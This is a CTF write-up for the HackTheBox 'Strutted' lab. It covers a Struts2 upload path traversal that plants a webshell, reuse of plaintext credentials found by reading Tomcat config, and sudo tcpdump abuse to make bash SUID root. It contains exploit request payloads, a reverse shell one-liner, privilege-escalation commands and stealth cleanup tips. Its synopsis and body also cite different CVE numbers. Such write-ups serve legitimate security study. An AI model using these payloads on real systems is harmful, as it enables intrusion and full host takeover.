Post

HackTheBox Strutted

Writeup for HackTheBox Strutted

HackTheBox Strutted

Machine Synopsis

Strutted is an medium-difficulty Linux machine featuring a website for a company offering image hosting solutions. The website provides a Docker container with the version of Apache Struts that is vulnerable to CVE-2024-53677, which is leveraged to gain a foothold on the system. Further enumeration reveals the tomcat-users.xml file with a plaintext password used to authenticate as james. For privilege escalation, we abuse tcpdump while being used with sudo to create a copy of the bash binary with the SUID bit set, allowing us to gain a root shell. (Source)

Key exploitation techniques:

  • Apache Struts2 RCE (CVE-2023-50164) via file upload
  • Source code analysis of Java application
  • Hardcoded credential discovery
  • SSH access via credential reuse
  • sudo tcpdump privilege escalation

Enumeration

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -p- --min-rate 10000 10.10.11.59
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -p 22,80 -sC -sV 10.10.11.59
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP service redirected to http://strutted.htb/. The hostname was added to /etc/hosts:

1
echo -e '10.10.11.59\tstrutted.htb' | sudo tee -a /etc/hosts

webpage

The main page of http://strutted.htb/ allowed image uploads. Clicking “Download” on the page provided strutted.zip, containing the application’s source code and Docker setup.

1
2
3
❯ unzip strutted.zip
❯ ls
Dockerfile  README.md  context.xml  strutted  strutted.zip  tomcat-users.xml

Dockerfile Analysis

Review of the Dockerfile provided insight into the application’s deployment environment.

1
2
3
4
5
6
7
8
# Dockerfile excerpt
FROM tomcat:9.0
...
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]

Key findings:

  • The application runs on Tomcat 9.0.
  • The strutted-1.0.0.war is deployed as the ROOT web application.
  • A tomcat-users.xml and context.xml file are copied into Tomcat’s configuration.

The tomcat-users.xml from the strutted.zip contained credentials: admin:skqKY6360z!Y.

1
2
3
4
5
6
7
cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
    <role rolename="manager-gui"/>
    <role rolename="admin-gui"/>
    <user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>

These credentials did not grant access to the Tomcat Manager GUI, implying this tomcat-users.xml was either outdated or not the active configuration on the running system. This indicates the possibility of a different tomcat-users.xml on the target system.

Source Code Analysis

Review of strutted/pom.xml revealed the Apache Struts2 version:

1
2
3
<properties>
    <struts2.version>6.3.0.1</struts2.version>
</properties>

Struts 2 version 6.3.0.1 is known to be vulnerable to CVE-2023-50164, a critical file upload vulnerability allowing Remote Code Execution (RCE). This vulnerability permits path traversal by manipulating the filename parameter in a file upload request.

Additionally, strutted/src/main/java/org/strutted/htb/Upload.java detailed the upload logic:

1
2
3
4
5
6
7
8
9
10
// Upload.java excerpt
String baseUploadDirectory = System.getProperty("user.dir") + "/webapps/ROOT/uploads/";
// ...
String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
File timeDir = new File(baseDir, timeStamp);
// ...
File destFile = new File(timeDir, uploadFileName);
// ...
private boolean isAllowedContentType(String contentType) { /* ... */ } // Checks image/jpeg, png, gif
private boolean isImageByMagicBytes(File file) { /* ... */ } // Checks JPEG, PNG, GIF magic bytes

The Upload.java code confirms that uploaded files are stored in user.dir/webapps/ROOT/uploads/timeStamp/<filename> and that content type and magic byte checks are performed.

Exploitation: Apache Struts 2 RCE (CVE-2023-50164)

The vulnerability allows path traversal in the file upload. The goal is to upload a malicious .jsp webshell to a web-accessible directory.

Manual Request Manipulation

A dummy image file (test.gif) was created and uploaded to capture the request in Burp Suite.

1
echo 'GIF89a;' > test.gif

Upload the file and capture the request on Burp Suite.

uploading_test_gif

The captured request was then modified:

  1. Change name="upload" to name="Upload" (case change is crucial for the exploit).
  2. Add a new form boundary with Content-Disposition: form-data; name="uploadFileName"; specifying the desired target path. This path exploits the path traversal to place the webshell directly in webapps/ROOT/webshell/webshell.jsp.
  3. The WAR file (webshell) must be prefixed with GIF89a; to bypass magic byte checks.

Before Modification:

1
2
3
4
5
6
7
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="upload"; filename="test.gif"
Content-Type: image/gif

GIF89a;
test
------WebKitFormBoundaryABCD--

After Modification (Conceptual):

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif

GIF89a;
<WEBSHELL_CONTENT_HERE>
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="uploadFileName";

../../../../../../usr/local/tomcat/webapps/ROOT/webshell/webshell.jsp
------WebKitFormBoundaryABCD--

Note: The uploadFileName path needs to be adjusted based on the user.dir of the Tomcat process and the target directory. The Dockerfile indicates /usr/local/tomcat/webapps/ROOT.war is deployed, so the desired path to place a webshell would be within /usr/local/tomcat/webapps/ROOT/. For a /webshell/webshell.jsp to be created, the path should be /usr/local/tomcat/webapps/ROOT/webshell/webshell.jsp. The exploit script handles the path traversal correctly.

Forwarding the modified request resulted in a share link reflecting the arbitrary filename, confirming path manipulation was possible.

uploading_test_gif_modified

Automated Exploitation with Public Script

A public exploit script for CVE-2023-50164 was used for automated WAR file upload and webshell deployment.

1
2
3
4
5
❯ git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
❯ cd CVE-2023-50164-Apache-Struts-RCE
❯ python3 -m venv .venv && source .venv/bin/activate
❯ cd exploit
❯ pip install -r requirements.txt

The exploit.py script required modifications:

  1. NUMBER_OF_PARENTS_IN_PATH: Changed from 2 to 5 to correctly traverse to the desired web root given the application’s internal file structure (user_dir/webapps/ROOT/uploads/timeStamp/<file>).
  2. war_file_content: Prefixed the WAR file content with b"GIF89a;" to bypass the magic byte check.
  3. files: Modified the HTTP_UPLOAD_PARAM_NAME.capitalize() entry to use arbitrary.gif and image/gif to satisfy content-type and filename requirements.
1
2
3
4
5
6
7
8
9
10
11
# exploit.py modifications (excerpt)
NUMBER_OF_PARENTS_IN_PATH = 5 # Adjusted for correct path traversal relative to upload directory

# ...
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content # Add GIF magic bytes
files = {
	HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"), # Use GIF filename/type
	HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
# ...

The exploit was executed, deploying webshell.war to http://strutted.htb/webshell/webshell.jsp.

1
2
3
4
5
6
7
8
9
❯ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > whoami
tomcat

Initial access was gained as the tomcat user.

OPSEC Consideration for Webshells:

While webshells are useful for command execution, they can leave persistent artifacts. For a more stealthy approach, the webshell could be used to immediately fetch and execute a reverse shell, then attempt to remove the webshell itself.

1
2
3
  # Example webshell command to get a reverse shell (assuming webshell.jsp?cmd= supports shell commands)
  CMD > bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1
  # On attacker machine, set up netcat listener: nc -lvnp <YOUR_PORT>

Lateral Movement: Internal Tomcat Credentials

With access as tomcat, further enumeration was performed to identify additional credentials or access points.

Post-Exploitation Enumeration

Directories within the Tomcat installation were examined.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
CMD > ls -l         
total 12
lrwxrwxrwx 1 root   root     12 Jul 20  2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root   root     17 Jul 20  2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root   root   4096 Feb 10 03:07 policy
drwxrwxr-x 4 tomcat tomcat 4096 Feb 10 04:04 webapps
lrwxrwxrwx 1 root   root     19 Jul 20  2022 work -> ../../cache/tomcat9

CMD > ls /etc/tomcat9
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml

CMD > cat /etc/tomcat9/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
...
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
...

The /etc/tomcat9/tomcat-users.xml file was then inspected. This was a different file than the one extracted from strutted.zip. A new credential set was found: admin:IT14d6SSP81k.

Lets grab the possible usernames.

1
2
3
4
5
CMD > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

This password was tested against the usernames via SSH using nxc.

1
2
3
❯ nxc ssh strutted.htb -u users.txt -p 'IT14d6SSP81k'
SSH         10.10.11.59     22     strutted.htb     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.59     22     strutted.htb     [+] james:IT14d6SSP81k  Linux - Shell access!

The password IT14d6SSP81k worked for user james.

SSH access was gained as james.

1
2
3
❯ ssh james@strutted.htb
james@strutted:~$ cat user.txt 
ba7ee3908b7ba16d807bbdac299cd8d2

The user.txt flag was retrieved.

Privilege Escalation: sudo tcpdump Abuse

Privilege escalation to root was attempted by examining james’s sudo privileges.

1
2
3
4
5
6
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

The james user could execute /usr/sbin/tcpdump as root without a password.

GTFOBins tcpdump Exploit

According to GTFOBins, tcpdump can be abused to execute arbitrary commands as root when run with sudo and the -z option for post-rotation script execution.

1
2
3
4
5
6
7
8
9
10
james@strutted:~$ COMMAND='chmod 4777 /bin/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

This command configured tcpdump to capture one packet, rotate the output file (/dev/null), and then execute the script specified by -z (our temporary script that sets SUID on /bin/bash) as the user specified by -Z (root).

Root Shell

After the tcpdump command completed, /bin/bash was granted SUID permissions.

1
2
3
4
5
james@strutted:~$ ls -l /bin/bash
-rwxrwxrwx 1 root root 1396520 Jan 25 2024 /bin/bash
james@strutted:~$ /bin/bash -p
bash-5.1# whoami
root

Root access was obtained. The root.txt flag was then retrieved.

1
2
bash-5.1# cat /root/root.txt
ee7d46693ddd2eb777a2a161a56601ea

Cleanup

For operational security (OPSEC) in a real engagement, artifacts should be removed.

1
2
3
4
5
# Cleanup of SUID binary and temporary script
bash-5.1# chmod 755 /bin/bash # Revert SUID on bash
bash-5.1# rm -f "$TF"         # Remove temporary script
# Remove webshell and any other artifacts created during initial access.
# (e.g., rm -rf /usr/local/tomcat/webapps/ROOT/webshell)
This post is licensed under CC BY 4.0 by the author.